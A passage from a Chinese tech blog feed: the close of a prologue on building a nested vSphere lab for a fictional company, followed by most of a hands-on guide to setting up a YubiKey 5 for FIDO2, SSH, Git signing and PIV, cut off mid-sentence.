href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/">平台8 · 收尾：时间同步、vLCM 与全系列回顾</a></li></ul></div><p>本系列尝试以一个完整的工程项目为脉络，从零搭建一套企业级虚拟化平台：以 VMware vSphere 为计算与调度核心，辅以共享存储与高可用机制，并由 Active Directory 支撑统一身份与基础服务（DNS、NTP）。为使每一项技术选择都有据可依，全系列围绕一家虚构企业的真实诉求展开——架构中的每一个组件，都对应着这家企业必须解决的某个具体问题，而非为部署而部署。</p><p>需要先行说明的是，整套实验将完全在一台笔记本电脑上、以嵌套虚拟化（nested virtualization）的方式完成，不依赖任何额外的物理服务器。本篇作为序章，先交代背景设定与目标架构，并就「全虚拟是否可行」这一前提性问题给出结论。</p><span id="more"></span><h2 id="1-背景设定">1 背景设定</h2><p>砚行物流是一家约三百人规模的区域仓配与电商企业（为贯穿实验而虚构）。其信息系统在多年自然生长之后，积累了若干典型的结构性问题。</p><p>业务系统分散运行于数台独立的物理服务器之上，彼此缺乏冗余，任意一台宕机都可能导致一条业务线停摆；全公司没有统一的身份体系，每台服务器各自维护一套本地账号，权限难以集中管控；内部名称解析长期依赖手工维护的 hosts 文件，随规模增长而日益不可靠；此外，由于缺乏统一的时间源，各主机时钟逐渐漂移，并由此引发了一些难以定位的偶发性身份认证失败。</p><p>公司因此决定重建底层基础设施，目标是建成一套具备高可用能力、可平滑扩展，并以统一身份与基础服务为支撑的虚拟化平台。本系列的全部工作，正是围绕这一目标依次展开。</p><h2 id="2-目标架构">2 目标架构</h2><p>整套平台可以拆分为四个层面。</p><p><strong>计算层</strong>由三台 ESXi 主机构成，统一由 vCenter Server 纳管并组成集群，作为承载所有虚拟机的基础。</p><p><strong>存储层</strong>以 vSAN 为主——它将三台主机的本地磁盘聚合为一套分布式共享存储，使集群无需外置存储设备即可运行；同时，本系列也会以外置 iSCSI/NFS 存储作为对照，说明两条路线各自的取舍。</p><p><strong>可用性层</strong>由 vSphere HA、DRS 与 vMotion 提供：主机故障时虚拟机自动在其余主机重启，负载在集群内自动均衡，并可在主机间无中断迁移。这一层的存在，正是为了回应「单点故障导致业务停摆」这一最初的痛点。</p><p><strong>身份与基础服务层</strong>由冗余的域控制器（Domain Controller，DC）承载 Active Directory，并由 AD 集成的 DNS 与分层 NTP 提供名称解析与时间同步——它们既是这家企业所缺失的能力，也是上层平台稳定运行的前提。</p><p>网络则按功能划分为管理、vMotion、vSAN、业务、存储与客户端若干个相互隔离的网段，其设计与地址规划将在下一篇中详述。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-00-prologue/enterprise-vsphere-lab-architecture.svg" alt=""></p><p>整套实验环境包含的节点如下，可作为后续各篇的索引：</p><table><thead><tr><th>主机名</th><th>角色</th><th>数量</th></tr></thead><tbody><tr><td>yx-fw01</td><td>边界防火墙与路由（出网、VLAN 间路由、临时 DNS/NTP）</td><td>1</td></tr><tr><td>yx-esxi01 ~ 03</td><td>ESXi 计算主机</td><td>3</td></tr><tr><td>yx-vc01</td><td>vCenter Server</td><td>1</td></tr><tr><td>yx-dc01 / yx-dc02</td><td>域控制器（AD、DNS、NTP）</td><td>2</td></tr><tr><td>yx-nas01</td><td>外置存储（TrueNAS，作存储路线对照）</td><td>1</td></tr><tr><td>yx-jump01</td><td>管理跳板机</td><td>1</td></tr></tbody></table><p>需要说明的是,yx-jump01 这台管理跳板机在本系列里只做了规划、未实际部署——主要是宿主机内存吃紧(64 GB 在 30/12/12 + OPNsense + 宿主自身下已经贴边)。本系列全程直接用宿主机(那台 Windows 笔记本)充当事实上的管理入口,去连 ESXi、vCenter、域控等,功能上完全够用。跳板机代表的是&quot;专职、收敛、可审计的管理入口&quot;这一企业架构要素,它的概念与一个轻量部署示例放在身份篇(第七篇)介绍;真实生产里它通常是不可省的一环(详见收尾篇的「实验 vs 生产」总差距清单)。</p><h2 id="3-实验平台：单机之上的嵌套">3 实验平台：单机之上的嵌套</h2><p>本系列的一个基本前提是：全部实验在一台笔记本电脑上完成，不借助任何额外硬件。具体而言，宿主机为一台配备 64 GB 内存与 NVMe 固态硬盘的 Windows 笔记本，其上运行 VMware Workstation Pro 作为最底层（L0）的虚拟化平台，再于其中嵌套部署 ESXi、vCenter、域控与存储等全部节点。</p><p>就资源而言，64 GB 内存在扣除宿主操作系统与 Workstation 自身的开销之后，实际可分配给虚拟机的约为 50 GB。因此实验并非将全部节点长期同时开启，而是常驻一套核心（vCenter 与三台 ESXi、一台域控，约 48 GB），其余节点按当前实验的需要临时启停。NVMe 固态硬盘在此并非可选项，而是硬性要求：嵌套环境中多台虚拟机叠加的磁盘 I/O，在机械硬盘上几乎无法运行。</p><p>嵌套虚拟化亦有若干不同于物理环境的注意事项——例如内层虚拟机的多 MAC 流量可能受到虚拟交换环境二层安全策略影响，需在后续 ESXi 篇中专门处理；此外还包括笔记本持续高负载下的散热限制，以及运行期间不可令宿主进入睡眠等。</p><h2 id="4-许可的现实">4 许可的现实</h2><p>在动手之前，有一项容易被忽略、却会直接影响方案可行性的前提需要厘清，即软件许可。</p><p>其一，VMware Workstation Pro 自 2024 年 11 月起已对包括商业在内的所有用途免费提供，无需许可密钥，当前版本为 26H1。这使得以它作为嵌套平台的地基，不再存在成本与合规上的顾虑。</p><p>其二，也是最关键的一点：Broadcom 虽于 2025 年重新提供了免费的 ESXi（vSphere Hypervisor 8.0U3e），但该免费版本无法接入 vCenter，亦无法被集中管理。而本系列的核心价值——集群、HA、DRS、vMotion 与 vSAN——无一不依赖 vCenter。因此免费 ESXi 在此并不适用。正确的做法是使用功能完整的 60 天评估授权（evaluation）；若希望长期保留实验环境，需要关注 Broadcom/VMUG 当前的个人实验室授权政策。VMUG Advantage 目前约为每年 210 美元，但个人用途许可证通常还与 VMware 认证资格绑定，并非单纯订阅即可获得完整授权；实际条件应以 VMUG 与 Broadcom 当日说明为准。</p><p>其三，本系列选用 vSphere 8.0U3 作为主线版本。更新的 vSphere 9 已经发布，但其变化更为激进，留待日后单独讨论。</p><p>需要提醒的是，上述许可政策——尤其是免费 ESXi 的供应方式与评估条款——在 Broadcom 收购 VMware 之后变动频繁。本文所述为截至 2026 年年中的情况，实际请以官方说明为准。</p><h2 id="5-本系列路线图">5 本系列路线图</h2><p>按照搭建顺序，全系列共九篇：</p><ol><li><strong>序章</strong>（本篇）：背景、目标架构与全虚拟实验的可行性。</li><li><strong>实验环境搭建</strong>：宿主网络与中继干道、边界防火墙的部署，以及完整的地址与命名规划。</li><li><strong>ESXi 安装与基础配置</strong>：三台嵌套主机的安装、管理网络与主机时间同步。</li><li><strong>vCenter 与集群</strong>：vCenter Server 的部署，以及数据中心与集群的组建。</li><li><strong>网络进阶</strong>：从标准交换机迁移至分布式交换机（vDS），并完成 VLAN 划分。</li><li><strong>存储</strong>：vSAN 的构建，以及与外置 iSCSI/NFS 存储的对照。</li><li><strong>高可用</strong>：HA、DRS 与 vMotion 的配置与故障切换演示。</li><li><strong>AD 域控与 DNS</strong>：冗余域控的部署、林域设计，以及由 AD 集成 DNS 接管名称解析。</li><li><strong>NTP 与收尾</strong>：分层时间体系、Kerberos 时间偏差问题，以及备份、恢复与环境重置。</li></ol><p>这一顺序并非随意排列。其背后存在一条清晰的依赖链——高可用依赖共享存储，共享存储依赖集群，集群依赖 vCenter，而 vCenter 的部署又依赖可正反向解析的 DNS 与准确的时间。理解了这条链，也就理解了为何各项工作必须以此先后落地。其中若干不甚直观的次序取舍，将在相应章节中说明。</p><h2 id="结语">结语</h2><p>至此，背景、架构与前提均已明确。从下一篇起，我们将正式着手搭建：先打通宿主网络与边界服务，再逐层向上，直至这套平台能够完整地承载砚行物流的业务。</p>]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/"/>
    <published>2026-06-22T11:45:00.000Z</published>
    <summary>系列序章：以虚构企业砚行物流为背景，在一台 64 GB 笔记本上以嵌套虚拟化搭建 vSphere 8.0U3 企业平台（vCenter、vSAN、HA/DRS、AD/DNS/NTP），并厘清免费 ESXi 与 60 天评估授权的关键差别与全系列依赖链。</summary>
    <title>从零搭建企业虚拟化平台0——序章：背景、目标架构与全虚拟实验的可行性</title>
    <updated>2026-06-22T11:45:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Linux Security" scheme="https://www.catwhiteangel.com/categories/Linux-Security/"/>
    <category term="YubiKey" scheme="https://www.catwhiteangel.com/tags/YubiKey/"/>
    <category term="SSH" scheme="https://www.catwhiteangel.com/tags/SSH/"/>
    <category term="FIDO2" scheme="https://www.catwhiteangel.com/tags/FIDO2/"/>
    <category term="PIV" scheme="https://www.catwhiteangel.com/tags/PIV/"/>
    <category term="OpenPGP" scheme="https://www.catwhiteangel.com/tags/OpenPGP/"/>
    <content>
      <![CDATA[<h1>YubiKey 5 实践指南——用一把硬件密钥统管 FIDO2、SSH、PIV、OpenPGP 与 TOTP</h1><p>买 YubiKey 之前我一直觉得硬件密钥（hardware security key）是种偏执的东西——密码管理器加上手机验证器，难道还不够安全吗。真正让我改主意的不是某次安全事件，而是一个朴素的认识：我所有的「第二因素」其实都长在同一台手机里，验证器 App、短信、Passkey 全在那块屏幕后面。手机一旦丢失或被攻破，这层防线是同时塌的。YubiKey 5 解决的就是这件事——它把私钥这种最敏感的材料锁在一块独立的、无法被软件读出的芯片里，让认证这一步必须有「物理在场」才能完成。</p><p>这篇文章是我围绕一把 YubiKey 5 NFC 把日常认证逐项迁移过去的完整记录，覆盖四种主要用途：用 FIDO2 登录网站、用它做 SSH 认证、用 OpenPGP 加密与签名、以及替代手机上的验证器 App 生成 TOTP 验证码。命令以 ArchLinux 为主，Windows 的差异之处会单独标出来。</p><h2 id="YubiKey简介">YubiKey简介</h2><p>YubiKey 不是一个「U 盘」，把它理解成一张装了好几个独立小程序的智能卡（smart card）更准确。一把 YubiKey 5 里同时跑着几个互不干扰的应用，每个应用负责一类完全不同的协议：</p><ul><li><strong>FIDO2/WebAuthn</strong>——现代无密码登录与 Passkey，也是 SSH 那条最省心路径的底层；</li><li><strong>FIDO U2F</strong>——FIDO2 的前身，作为纯第二因素仍被大量网站使用，可注册的服务数量无上限；</li><li><strong>PIV（智能卡）</strong>——用 X.509 证书那一套做认证，Windows 登录和某些企业场景会用到；</li><li><strong>OpenPGP</strong>——把 PGP 的签名、加密、认证三把子密钥装进卡里；</li><li><strong>OATH-TOTP/HOTP</strong>——也就是验证器 App 里那些每 30 秒跳一次的 6 位数；</li><li><strong>Yubico OTP</strong>——Yubico 自家那串一键吐出的长字符串，本文基本不涉及。</li></ul><p>理解「这些是彼此独立的应用」很重要，因为它直接决定了存储上限和管理方式。每个应用各有各的容量，互不挤占。以固件（firmware）5.7 及以后的 YubiKey 5 为例，FIDO2 能存 100 个可发现凭据（discoverable credentials，也就是 Passkey），OATH 能存 64 个 TOTP 种子，PIV 有 24 个证书位，OTP 有 2 个槽——满打满算同时存放 190 个凭据。如果你的是 5.7 之前的固件，这两个数字分别是 25 和 32。固件无法升级（Yubico 出于缩小物理攻击面的考虑，刻意不允许刷写固件），所以买的时候就定了，这也是后面「为什么建议买两把」的伏笔之一。</p><p>查自己这把是什么固件、开了哪些应用，一条命令就够：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman info</span><br></pre></td></tr></table></figure><p>输出大致长这样，重点看 <code>Firmware version</code> 和底部各应用的启用状态：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Device type: YubiKey 5 NFC</span><br><span class="line">Serial number: 12345678</span><br><span class="line">Firmware version: 5.7.1</span><br><span class="line">Form factor: Keychain (USB-A)</span><br><span class="line">Enabled USB interfaces: OTP, FIDO, CCID</span><br><span class="line"></span><br><span class="line">Applications        USB     NFC</span><br><span class="line">FIDO2               Enabled Enabled</span><br><span class="line">FIDO U2F            Enabled Enabled</span><br><span class="line">OpenPGP             Enabled Enabled</span><br><span class="line">PIV                 Enabled Enabled</span><br><span class="line">OATH                Enabled Enabled</span><br><span class="line">OTP                 Enabled Enabled</span><br></pre></td></tr></table></figure><h2 id="准备工作：装工具、设-PIN、踩平权限的坑">准备工作：装工具、设 PIN、踩平权限的坑</h2><h3 id="ArchLinux">ArchLinux</h3><p>核心工具是 <code>ykman</code>（YubiKey Manager CLI），它几乎是后面每一节都要用到的瑞士军刀。其余的包按用途分批装，我先把这一整篇会用到的依赖一次性列出来，你可以按需取舍：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 必需：管理 YubiKey 的命令行工具</span></span><br><span class="line"><span class="built_in">sudo</span> pacman -S yubikey-manager</span><br><span class="line"></span><br><span class="line"><span class="comment"># 按需：FIDO2 本地登录 / pam 相关</span></span><br><span class="line"><span class="built_in">sudo</span> pacman -S libfido2 pam-u2f</span><br><span class="line"></span><br><span class="line"><span class="comment"># 按需：OpenPGP 智能卡，gnupg 会一并拉入 pinentry 与 scdaemon</span></span><br><span class="line"><span class="built_in">sudo</span> pacman -S gnupg pcsclite ccid</span><br><span class="line"></span><br><span class="line"><span class="comment"># 按需：PIV / 通过 PKCS#11 走 SSH（yubico-piv-tool 提供 /usr/lib/libykcs11.so）</span></span><br><span class="line"><span class="built_in">sudo</span> pacman -S opensc yubico-piv-tool</span><br></pre></td></tr></table></figure><p><strong>装完 <code>pcsclite</code> 后，记得把 <code>pcscd</code> 起起来</strong>——这一步漏掉，是后面所有 CCID 类操作（OATH、PIV、OpenPGP）翻车的头号原因：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now pcscd.socket</span><br></pre></td></tr></table></figure><p>少了它，<code>ykman info</code> 顶部会蹦出 <code>WARNING: PC/SC not available. Smart card (CCID) protocols will not function.</code>，而 <code>ykman oath</code>、<code>ykman piv</code>、<code>gpg --card-status</code> 会读不到卡。<code>ykman info</code> 的设备基本信息倒还能显示，因为那走的是 USB 的 HID 接口、不经 PC/SC——别被这点信息误导以为一切正常。用 <code>pcscd.socket</code> 而非 <code>.service</code> 是 Arch 的惯例：按需自动拉起，不必常驻。</p><p>想要图形界面的话，<code>yubico-authenticator</code> 提供一个统一管理 OATH、Passkey、PIN 的 GUI，官方仓库一般能直接装，装不到就去 AUR 找：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S yubico-authenticator</span><br></pre></td></tr></table></figure><p><code>pcscd</code> 一跑起来，紧接着就会撞上<strong>第二个经典坑</strong>：<code>gnupg</code> 自带的 <code>scdaemon</code> 默认优先用它<strong>内置的 CCID 驱动</strong>直接抓卡，而此时卡已被 <code>pcscd</code> 独占，于是 <code>gpg --card-status</code> 会报 <code>selecting card failed: No such device</code> 或 <code>Operation not supported by device</code>——卡是好的，是两个程序在抢同一张卡。解法是让 <code>scdaemon</code> 别单干、统一走 <code>pcscd</code>：在 <code>~/.gnupg/scdaemon.conf</code> 里加一行 <code>disable-ccid</code>，然后<strong>重启 <code>scdaemon</code> 让配置生效</strong>（这一步最容易漏，改完不重启等于没改）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;disable-ccid&quot;</span> &gt;&gt; ~/.gnupg/scdaemon.conf</span><br><span class="line">gpgconf --<span class="built_in">kill</span> scdaemon          <span class="comment"># 必须重启，scdaemon 不会自动重载配置</span></span><br></pre></td></tr></table></figure><p>之所以推荐「<code>pcscd</code> 常驻 + <code>scdaemon</code> 走 <code>pcscd</code>」而不是反过来关掉 <code>pcscd</code>，是因为 <code>ykman</code> 的 OATH/PIV/OpenPGP 操作本就依赖 <code>pcscd</code>；让全机器统一一个卡入口，冲突源最少。如果 <code>gpgconf --kill scdaemon</code> 之后仍读不到，把整个 agent 一起重启再试：<code>gpgconf --kill all</code>。</p><p>另一个权限问题：以普通用户跑 <code>ykman</code> 时如果提示找不到设备，多半是 udev 规则缺失。较新的 systemd（249 以后）已经内置了给 FIDO 安全密钥打 <code>uaccess</code> 标记的规则，多数情况下插上就能用，不需要额外配置。万一确实不行，把 YubiKey 拔下重插、或 <code>sudo udevadm control --reload</code> 之后再试一次，仍不行再去补 Yubico 官方那份 udev 规则。</p><p>工具就绪后，第一件该做的事不是去注册任何账号，而是<strong>给 FIDO2 设一个 PIN</strong>。出厂的 YubiKey 没有 FIDO PIN。对于只要求“触摸确认”的 2FA 场景，拿到实体钥匙的人在已知账号密码的前提下可能完成第二因素；而对于真正 passwordless / Passkey 场景，是否必须输入 PIN 取决于服务端是否要求 User Verification。无论如何，给 FIDO2 设置 PIN 都是必要的。设了 PIN 之后，使用 FIDO2 凭据需要「PIN + 触摸」两个条件，丢失（尤其是被偷）时多一道屏障，也能挡住 evil maid 那类近身攻击：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman fido access change-pin</span><br></pre></td></tr></table></figure><p>提示一下：这个所谓的 PIN 其实是字母数字混合的口令，不限于数字，可以也应该用一个像样的密码。但它是你每次用 FIDO2 时都要敲的东西，太长会折磨自己，自己权衡。</p><h3 id="Windows">Windows</h3><p>Windows 上建议安装 Yubico Authenticator 作为图形界面工具；高级配置使用 YubiKey Manager CLI（ykman）。旧版 YubiKey Manager GUI 已停止支持，不建议作为主要工具。</p><h2 id="用途一：FIDO2-Passkey-登录网站">用途一：FIDO2 / Passkey 登录网站</h2><p>这是收益最高、上手最快的一项，也是我建议任何人拿到 YubiKey 后第一个迁移的场景。FIDO2 的价值不只是「多一个因素」，而是它从协议层面抗钓鱼（phishing-resistant）：浏览器在认证时会把当前域名一起参与签名，所以哪怕你被一个像素级仿冒的钓鱼站骗了，YubiKey 也会因为域名对不上而拒绝签名——这是验证器 App 的 6 位数做不到的，那串数字你照样会手贱输进假网站。</p><p>操作上没有命令行的事，全在浏览器里完成：登录目标网站，进安全设置，找「安全密钥（Security Key）」或「Passkey」入口，按提示插入 YubiKey、输入刚才设的 FIDO PIN、触摸金属面板完成注册。GitHub、Google、Microsoft、Cloudflare 这些主流服务都支持，想确认某个具体服务支不支持，查 Yubico 的「Works with YubiKey」目录最省事。</p><p><img src="https://img.gulugulublog.com/posts/yubikey-5-practical-guide-fido2-ssh-piv-openpgp-totp/20260622211000597.png" alt=""></p><p>注册完想看看卡里存了哪些可发现凭据（也就是占用那 100/25 个 Passkey 槽的那些）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman fido credentials list</span><br></pre></td></tr></table></figure><p><img src="https://img.gulugulublog.com/posts/yubikey-5-practical-guide-fido2-ssh-piv-openpgp-totp/20260622211136730.png" alt=""></p><p>注意区分两个概念。U2F 那种纯第二因素的注册是「不可发现凭据」，不占卡内存储，数量无上限；而 Passkey（可发现凭据）才占那 100 或 25 个槽。日常用 YubiKey 当第二因素几乎不可能用满，但如果你真的全面拥抱无密码、到处存 Passkey，就要把这个上限放心上了。</p><p>触摸金属盘时如果它开始闪烁，<strong>这是正常的「等待你确认在场」的信号，不是设备出问题</strong>，碰一下即可。</p><h2 id="用途二：SSH-认证">用途二：SSH 认证</h2><p>SSH 这块路子有好几条，<strong>对绝大多数个人用户，走 FIDO2 的 <code>ed25519-sk</code> 密钥是最简单且足够安全的选择</strong>，比传统的 PIV/PKCS#11 配置省心得多，也不必动用 OpenPGP 那套重型方案。所以这一节我以 FIDO2 为主线详写，再单独用一节交代 PIV/PKCS#11 这条路——它配置更繁、但在某些场景下不可替代，值得知道它存在以及何时该用。</p><p>前提条件先对一下：OpenSSH 8.2 起支持 FIDO 密钥类型，8.3 起支持 resident key 的下载；<code>ed25519-sk</code> 需要 YubiKey 固件 5.2.3 及以上。YubiKey 5 全系都满足，ArchLinux 上的 OpenSSH 也早就够新，可以放心。</p><h3 id="resident-还是-non-resident，先想清楚">resident 还是 non-resident，先想清楚</h3><p><code>-sk</code>（security key）类型的密钥有两种存放方式，差别不在安全等级高低，而在「便携性」与「攻击面」的取舍：</p><ul><li><strong>non-resident（不可发现）</strong>：默认方式。生成时会在 <code>~/.ssh/</code> 下落一个私钥句柄文件，这个文件<strong>不含真正的私钥</strong>，只是一个指向 YubiKey 内部主密钥的引用。用的时候需要「句柄文件 + YubiKey」两者俱全。好处是它不占用卡内那有限的凭据槽，而且就算 YubiKey 被偷，攻击者光有卡、没有那个句柄文件也用不了。</li><li><strong>resident（可发现）</strong>：私钥句柄存在 YubiKey 里，可以在任意一台新机器上用 <code>ssh-keygen -K</code> 把它拉回来，不依赖原机器的文件。代价是它会吃掉卡内凭据槽，而且一旦别人同时拿到你的 YubiKey 和 PIN，光凭卡就能用。</li></ul><p>我的取法是：<strong>日常固定那几台机器用 non-resident</strong>，省槽又多一层文件因素；只有在「想做到换任何机器都能即时恢复」的少数密钥上才用 resident。下面两种都给出来。</p><h3 id="生成-non-resident-密钥（推荐）">生成 non-resident 密钥（推荐）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t ed25519-sk -O verify-required</span><br></pre></td></tr></table></figure><p><code>-O verify-required</code> 要求每次使用都验证 FIDO PIN，配合默认就有的「触摸」，相当于把「你知道的」和「你拥有的」两个因素都压在这一步上。既然有了 PIN，就不必再给私钥句柄额外设 passphrase 了，那是冗余的。生成时它会要你输 FIDO PIN、再触摸一下确认。完成后 <code>~/.ssh/</code> 里会有 <code>id_ed25519_sk</code> 和 <code>id_ed25519_sk.pub</code>，<strong><code>.pub</code> 才是真正要分发出去的公钥</strong>。</p><h3 id="生成-resident-密钥（需要跨机即时恢复时）">生成 resident 密钥（需要跨机即时恢复时）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t ed25519-sk -O resident -O verify-required -O application=ssh:archbox</span><br></pre></td></tr></table></figure><p><code>-O application=ssh:archbox</code> 给这把 resident 密钥起个可辨识的标签，否则多把 resident 密钥都叫默认名字时会互相覆盖，生成时报 <code>A resident key scoped to 'ssh:' with user id 'null' already exists</code>。换了新机器后，把 resident 密钥句柄拉回本地：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> ~/.ssh</span><br><span class="line">ssh-keygen -K        <span class="comment"># 输 PIN、触摸，卡里的 resident 句柄会被下载成文件</span></span><br></pre></td></tr></table></figure><p>它下载下来的文件名带 <code>_rk</code> 后缀（resident key），我习惯重命名去掉它，纯属个人整洁癖好，不影响功能。</p><h3 id="部署与使用">部署与使用</h3><p>把公钥追加到目标服务器的 <code>~/.ssh/authorized_keys</code>，或者用 <code>ssh-copy-id</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-copy-id -i ~/.ssh/id_ed25519_sk.pub user@server</span><br></pre></td></tr></table></figure><p>之后正常 <code>ssh user@server</code>，连接时会提示触摸 YubiKey（设了 <code>verify-required</code> 还会先要 PIN）。GitHub 也支持 <code>-sk</code> 类型公钥，直接贴到 Settings → SSH keys 即可。如果你用 <code>ssh-agent</code>，可以用下面这条把 YubiKey 里的 resident 密钥直接加载进 agent，全程不落地到文件系统：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-add -K</span><br></pre></td></tr></table></figure><p>排障两则。其一，如果连接时报 <code>sign_and_send_pubkey: signing failed ... agent refused operation</code>，多半是某个旧的 <code>ssh-agent</code> 不支持带 PIN 的 <code>-sk</code> 密钥在捣乱，临时解法是连接时加 <code>-o IdentitiesOnly=yes</code> 绕开 agent。其二，服务器端如果想强制要求 PIN 验证而非仅触摸，可在 <code>sshd_config</code> 里设置接受 <code>sk-ssh-ed25519@openssh.com</code> 类型并要求 <code>verify-required</code>，但大多数发行版默认配置已经够用，没遇到问题就别去动它。</p><p>还有一个常让人困惑、其实是正常行为的点：<strong>触摸只在服务器认可这把公钥之后才会触发</strong>。SSH 公钥认证分两步——先把公钥「报」给服务器问认不认，认了才真正签名（也就是要你触摸的那一步）。所以如果你拿一把还没加进服务器的密钥去连，会在签名之前就被回绝 <code>Permission denied (publickey)</code>，<strong>全程不提示触摸</strong>——这不是卡坏了，是根本没走到签名。想脱离服务器单独验证这把密钥能签、能触发触摸，可以就地签个文件试：<code>ssh-keygen -Y sign -f ~/.ssh/id_ed25519_sk -n test 某个文件</code>，它会要 PIN 并提示触摸。</p><h3 id="Windows-上的差异">Windows 上的差异</h3><p>Windows 自带的 OpenSSH 对 FIDO2 的支持随版本起伏，老版本干脆不支持，新版有时也有怪毛病。稳妥路径是用 Git for Windows 自带的那个 OpenSSH（确保版本 ≥ 8.2），在 Git Bash 里跑上面那些命令。还有两个 Windows 特有的点：设 FIDO PIN 时 YubiKey Manager 要以管理员身份运行；生成 resident 密钥时 Git Bash 也建议用管理员身份打开，否则可能报 <code>invalid format</code>。另外 Windows 下 <code>ssh-keygen</code> 无法事先检查 resident 密钥是否已存在，所以它每次都会问你是否覆盖——这时去 Yubico Authenticator 里看一眼现有 Passkey 列表，确认无冲突再继续即可。</p><h3 id="顺带：用-SSH-密钥给-Git-提交签名">顺带：用 SSH 密钥给 Git 提交签名</h3><p>有了这把 <code>-sk</code> 密钥，给 Git 提交签名不必再搬出 GPG，直接复用它即可，配置三行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git config --global gpg.format ssh</span><br><span class="line">git config --global user.signingkey ~/.ssh/id_ed25519_sk.pub</span><br><span class="line">git config --global commit.gpgsign <span class="literal">true</span></span><br></pre></td></tr></table></figure><p>之后每次 <code>git commit</code> 都会要求触摸 YubiKey 完成签名。GitHub 上把这把公钥额外注册为 Signing Key（注意和 Authentication Key 是分开的两栏），提交旁边就会显示 Verified 绿标。</p><h3 id="另一条路：PIV-PKCS-11">另一条路：PIV / PKCS#11</h3><p>前面那条 FIDO2 路径对个人足够了，那为什么还要了解 PIV。三种情况下它不可替代：你的 SSH 客户端或对端环境只认智能卡 / PKCS#11、不支持 <code>-sk</code> 密钥；你想用 YubiKey 当一个 SSH 证书颁发机构（CA），用卡里的私钥去签发其他人的用户密钥或主机密钥；或者你本来就在一个「一切走智能卡」的企业体系里，PIV 能和 Windows 智能卡登录那套复用。如果这三条都不沾边，看一眼知道有这回事就行，不必真去配。</p><p>PIV 的思路和 FIDO2 完全不同：它把一对标准的 RSA/EC 密钥存在卡里的某个 PIV 槽位（slot）里，再通过一个 PKCS#11 模块把这把硬件密钥「桥接」给 OpenSSH。SSH 用的是「认证」用途，对应槽位 <code>9a</code>。</p><p>先把 PIV 自己的几个默认口令改掉——它和 OpenPGP、FIDO2 的 PIN 都是各自独立的，<strong>出厂默认值是公开的，不改等于没设</strong>。PIV 有三个凭据：用户 PIN（默认 <code>123456</code>）、PUK（解锁码，默认 <code>12345678</code>）、管理密钥（management key，有公开的默认值）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ykman piv access change-pin                       <span class="comment"># 改用户 PIN</span></span><br><span class="line">ykman piv access change-puk                       <span class="comment"># 改 PUK</span></span><br><span class="line">ykman piv access change-management-key --generate --protect   <span class="comment"># 随机生成管理密钥并用 PIN 保护</span></span><br></pre></td></tr></table></figure><p><code>--generate --protect</code> 这一步值得说一句：它让卡自己随机生成一个管理密钥并用 PIN 守护，这样你日后做管理操作只需记住 PIN，不必再额外保管那串又长又容易抄错的管理密钥，对个人使用是更省心的默认。</p><p>接着在槽位 <code>9a</code> 生成密钥。算法上我推荐 <code>ECCP256</code>——它快、公钥短，且各家 PKCS#11 模块支持都成熟；<code>ED25519</code> 虽然 5.7 固件的 PIV 已支持，但 ykcs11 对它的 SSH 支持一度有坑，求稳就先用 ECC。生成时顺手把使用策略也定下来：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ykman piv keys generate --algorithm ECCP256 \</span><br><span class="line">  --pin-policy once --touch-policy always \</span><br><span class="line">  9a public.pem</span><br></pre></td></tr></table></figure><p><code>--pin-policy once</code> 表示一个会话里输一次 PIN 即可，<code>--touch-policy always</code> 要求每次签名都触摸——和前面 FIDO2 的思路一致，把「你知道的」和「你拥有的」都焊进每次操作。这条命令会把公钥写到 